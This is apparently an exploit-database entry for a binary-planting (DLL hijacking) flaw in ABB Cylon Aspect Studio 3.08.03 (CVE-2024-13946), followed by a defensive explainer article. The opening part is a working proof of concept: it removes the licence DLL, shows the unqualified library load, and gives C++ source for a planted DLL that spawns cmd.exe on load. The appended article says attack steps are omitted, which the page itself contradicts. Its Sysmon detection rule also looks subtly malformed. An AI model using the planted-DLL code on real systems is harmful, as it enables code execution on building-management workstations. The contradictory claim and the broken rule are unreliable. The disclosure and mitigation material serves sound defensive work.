ABB Cylon Aspect Studio 3.08.03 - Binary Planting

Exploit Author: LiquidWorm Analysis Author: www.bubbleslearn.ir Category: Local Language: C++ Published Date: 2025-05-25
# Exploit Title: ABB Cylon Aspect Studio 3.08.03 - Binary Planting
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: <=3.08.03
# Tested on: Microsoft Windows 10 Home (EN) OpenJDK 64-Bit Server VM Temurin-21.0.6+7
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience

# Advisory ID: ZSL-2025-5952
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5952.php

# CVE ID: CVE-2024-13946
# CVE URL: https://www.cve.org/CVERecord/SearchResults?query=CVE-2024-13946

C:\> type project

                 P   R   O   J   E   C   T

                        .|
                        | |
                        |'|            ._____
                ___    |  |            |.   |' .---"|
        _    .-'   '-. |  |     .--'|  ||   | _|    |
     .-'|  _.|  |    ||   '-__  |   |  |    ||      |
     |' | |.    |    ||       | |   |  |    ||      |
 ____|  '-'     '    ""       '-'   '-.'    '`      |____
░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░  
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ 
░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░                                                            
         ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ 
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ 
         ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░
         ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░                                               
                                                                                                               

C:\Aspect\Aspect-Studio-3.08.03> del CylonLicence.dll
C:\Aspect\Aspect-Studio-3.08.03> type aspect.bat
REM 64bit parameters
jre\bin\javaw -Dormlite.networkpoint.load=true -Dfile.encoding="UTF-8" -DlookAndFeel=nimbus -DMapGraphic.forceLoad=0 -DBACnet.discovery.driverPort=4224 -DBACnet.discovery.debugLevel=0 -Djava.library.path=. -DportPool.maxPortWaitTime=10000 -DOverride.enabled=false -Dlog4j.configuration=./log4j.aspectstudio.properties -Dswing.noxp=true -Dsun.java2d.d3d=false -Dsun.java2d.noddraw=true -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=25 -Xss256k -Xms1024m -Xmx4096m -jar AspectStudioObf.jar

C:\Aspect\Aspect-Studio-3.08.03-a09>aspect.bat

C:\Aspect\Aspect-Studio-3.08.03-a09>REM 64bit parameters

C:\Aspect\Aspect-Studio-3.08.03-a09>jre\bin\javaw -Dormlite.networkpoint.load=true -Dfile.encoding="UTF-8" -DlookAndFeel=nimbus -DMapGraphic.forceLoad=0 -DBACnet.discovery.driverPort=4224 -DBACnet.discovery.debugLevel=0 -Djava.library.path=. -DportPool.maxPortWaitTime=10000 -DOverride.enabled=false -Dlog4j.configuration=./log4j.aspectstudio.properties -Dswing.noxp=true -Dsun.java2d.d3d=false -Dsun.java2d.noddraw=true -XX:+UseG1GC -XX:MaxGCPauseMillis=200 -XX:InitiatingHeapOccupancyPercent=25 -Xss256k -Xms1024m -Xmx4096m -jar AspectStudioObf.jar


C:\Aspect\Aspect-Studio-3.08.03> type AspectStudio.class
...
...
System.loadLibrary("CylonLicence");
} catch (Throwable t) {}
LoggerUtil.logger.error("Error loading license DLL", t);
}
}
...
...

C:\Aspect\Aspect-Studio-3.08.03> cd logs
C:\Aspect\Aspect-Studio-3.08.03\logs>type AspectStudio.log

ERROR: 2025-01-16 16:47:58,579 Error loading license DLL [main]
java.lang.UnsatisfiedLinkError: no CylonLicence in java.library.path
  at java.lang.ClassLoader.loadLibrary(ClassLoader.java:1867)
  at java.lang.Runtime.loadLibrary0(Runtime.java:870)
  at java.lang.System.loadLibrary(System.java:1122)
  at com.aamatrix.util.AspectStudio.<clinit>(AspectStudio.java:42)
  at com.aamatrix.vib.rrobin.CylonLicense.<init>(CylonLicense.java:18)
  at com.aamatrix.vib.rrobin.LicenseService.<init>(LicenseService.java:38)
  at com.aamatrix.vib.rrobin.LicenseService.<clinit>(LicenseService.java:34)
  at com.aamatrix.projectmanager.AspectStudio.<clinit>(AspectStudio.java:52)
  at java.lang.Class.forName0(Native Method)
  at java.lang.Class.forName(Class.java:348)
  at com.aamatrix.projectmanager.AspectStudioLauncher.main(AspectStudioLauncher.java:70)
  ...
  ...

C:\DLL-Mala> type CylonLicence.cpp

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <shellapi.h>


extern "C" __declspec(dllexport)
DWORD WINAPI ExecuteCmdThread(LPVOID lpParam) {
    ShellExecuteW(NULL, L"open", L"cmd.exe", L"/c start", NULL, SW_SHOWNORMAL);
    return 0;
}

extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, ExecuteCmdThread, NULL, 0, NULL);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}


ABB Cylon Aspect Studio 3.08.03 — Binary Planting (CVE-2024-13946)

This article explains the binary‑planting vulnerability reported for ABB Cylon Aspect Studio (affected versions ≤ 3.08.03, tracked as CVE-2024-13946). It describes the root cause, attack surface, practical security implications, detection and mitigation guidance, and secure coding practices to prevent similar issues. Content focuses on defensive measures and safe remediation; exploit development or step‑by‑step attack instructions are intentionally omitted.

Executive summary

Binary planting (DLL search order hijacking) occurs when an application loads a native library by name (e.g., System.loadLibrary("CylonLicence")) without using a controlled, absolute path or other mitigations. On Windows, this can allow an attacker who can write to certain directories (application folder, current working directory, or a directory earlier in the search order) to place a malicious DLL that the application will load, resulting in code execution in the context and privileges of the target process.

Vulnerability specifics (high-level)

  • Product: ABB Cylon Aspect Studio
  • Affected: Versions ≤ 3.08.03
  • CVE: CVE-2024-13946
  • Root cause: Native library loaded by name from a JVM without explicit path control, allowing OS DLL search semantics to be abused.
  • Impact: Local or lateral code execution under the application's privileges if an attacker can write to a location that is part of the OS DLL search path for that process.

How DLL search order leads to risk (conceptual)

When an application calls a runtime loader API that accepts a library name (instead of an absolute path), the OS resolves the library using a multi-step search order. Historically this order has included the application's directory, system directories, the current working directory, and paths in the %PATH% environment variable. If an attacker can place a malicious DLL in a directory that is searched before the legitimate library location, the malicious code can be loaded inside the target process.

Why this matters for Java applications

In Java, System.loadLibrary("name") delegates to the platform loader which uses the OS search semantics. If a Java application relies on System.loadLibrary without controlling the search path or validating library locations, native loading becomes susceptible to binary‑planting attacks on platforms that use search order resolution (Windows being the canonical example).

Indicators of compromise and forensic signals

  • Unexpected exceptions in application logs related to native library loading (e.g., UnsatisfiedLinkError). These can indicate attempts to load non‑standard libraries or failed attacks.
  • New or unexpected DLL files within application installation folders, working directories, or other writable locations that should be static.
  • Process creation events spawning shells or child processes (e.g., cmd.exe) originating from the affected application.
  • System events showing an image load of a DLL into a legitimate process (e.g., Sysmon ImageLoaded events for javaw.exe loading an unexpected DLL).

Defensive detection examples (safe, defensive)

Below is a defensive Sysmon-style rule snippet (illustrative) that flags image loads of unexpected DLLs into Java processes. This is intended for defenders and SIEM/EDR tuning only.

<!-- Illustrative Sysmon rule: detect image loads where Image contains 'CylonLicence.dll' into java/javaw -->
<RuleGroup name="Detect DLL loads into Java" groupRelation="or">
  <ImageLoaded onmatch="include">
    <ImageLoaded condition="contains">CylonLicence.dll</ImageLoaded>
    <ProcessName condition="contains">javaw.exe</ProcessName>
  </ImageLoaded>
</RuleGroup>

Explanation: This example filters image‑load events for a specific DLL name being loaded into Java processes. In a production environment, tune names, add whitelists, and avoid overly broad rules that produce false positives.

Mitigations — immediate and long‑term

Apply the following layered mitigations to reduce risk:

  • Patch: Apply the vendor update or patch as soon as it is released. If a patched version is available, updating the application is the single best remediation.
  • Least privilege on installation directories: Ensure application installation and working directories are not writable by non‑privileged users or untrusted processes. Remove write permissions for standard users where practical.
  • Application allowlisting: Use application control (Windows AppLocker, Microsoft Defender Application Control, third‑party EDR allowlists) to block unauthorized executables and DLLs from being executed/loaded.
  • Use absolute paths for native libraries: Modify application startup to use System.load with an absolute path or configure java.library.path to a directory with strict ACLs. (See secure coding section below.)
  • Windows loader hardening: Use SetDefaultDllDirectories and AddDllDirectory (for native code) to restrict DLL search paths, and avoid legacy search behavior where possible. Ensure SafeDllSearchMode is enabled (it is by default on modern Windows) and consider enabling the Microsoft recommended mitigations for DLL search order.
  • Binary signing and verification: Require digitally signed libraries and verify signatures prior to loading when possible.
  • Runtime monitoring: Monitor process image‑load events and process creation to detect suspicious DLL loads or child processes originating from the application.
  • Network segmentation and account hardening: Reduce the blast radius of a compromise by isolating systems and running services with minimal privileges.

Secure coding guidance (Java + native interop)

Developers integrating native code should adopt explicit and defensive library loading patterns and minimize reliance on OS search order.

Example: Preferred Java pattern — load a native library using an absolute path:

// Load a native DLL using an absolute path rather than loadLibrary(name)
String libAbsolutePath = "C:\\Program Files\\Aspect\\lib\\CylonLicence.dll";
System.load(libAbsolutePath);

Explanation: System.load accepts an absolute path to the native library and bypasses the OS search order used by System.loadLibrary. When combined with tight filesystem permissions on the directory, this reduces the chance of an attacker substituting a malicious DLL.

Alternative: set a dedicated library directory at JVM start and restrict its ACLs:


java -Djava.library.path="C:\Program Files\Aspect\lib" -jar AspectStudioObf.jar

Explanation: Controlling java.library.path can help, but it is important the directory itself is protected (non‑writable by untrusted users/processes). Avoid letting the current working directory or user‑writable paths be used for native libraries.

Native code hardening (Windows): use explicit directory control in native loaders


// Native code should avoid LoadLibrary(L"libraryname") patterns.
// Prefer SetDefaultDllDirectories and LoadLibraryEx with full path in native code.

Explanation: Native code can call SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_DEFAULT_DIRS) and then use AddDllDirectory or LoadLibraryEx with LOAD_LIBRARY_SEARCH_USER_DIRS or full paths. These API choices reduce reliance on legacy search order and increase control.

Safe native example (benign)

Below is a minimal, harmless C++ DllMain that performs no sensitive actions. It is shown for educational purposes to demonstrate a simple DLL structure without harmful behavior.

// Benign example: simple DLL that does nothing on load
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule,
                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // no action taken
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        // no action taken
        break;
    }
    return TRUE;
}

Explanation: This example returns TRUE and performs no actions during process attach. It is intentionally non‑malicious and used solely to illustrate the DLL entry point structure. Do not add process‑spawning or persistent side effects in DllMain; complex actions in DllMain can destabilize host processes and create security risks.

Detection & incident response

  • Review application and system logs for unexpected UnsatisfiedLinkError entries or sudden resolution of native libraries.
  • Inspect application folders and working directories for unexpected or recently modified DLL files.
  • Use EDR tools and Sysmon to capture ImageLoaded (ID 7) and ProcessCreate (ID 1) events, and examine chained process creation that could indicate a post‑load payload.
  • If compromise is suspected, isolate the host, collect volatile memory and image‑load logs, and analyze the binary that was loaded and its provenance (file timestamp, signature, ACLs, path).

Vendor coordination and disclosure

If you are an operator or vendor affected by this issue: notify ABB support or your vendor contact, provide forensic evidence if you observed suspicious activity, and request guidance and patches. For coordinated disclosure, follow your organization’s vulnerability reporting process and, if relevant, share indicators of compromise (IOCs) with ISACs or trusted partners.

Summary table

Item Details
Vulnerability Binary planting / DLL search order hijacking
Product ABB Cylon Aspect Studio
Affected versions ≤ 3.08.03
CVE CVE-2024-13946
Primary mitigation Apply vendor patch; restrict write permissions; enforce signed libraries and application whitelisting

Key takeaways

  • Binary planting remains a critical risk when applications load native libraries by name without controlling the search path.
  • Operators should prioritize vendor patches, tighten file system permissions, and enable application control and runtime image‑load monitoring.
  • Developers should prefer absolute paths for native library loading, leverage modern Windows loader APIs, and validate library provenance.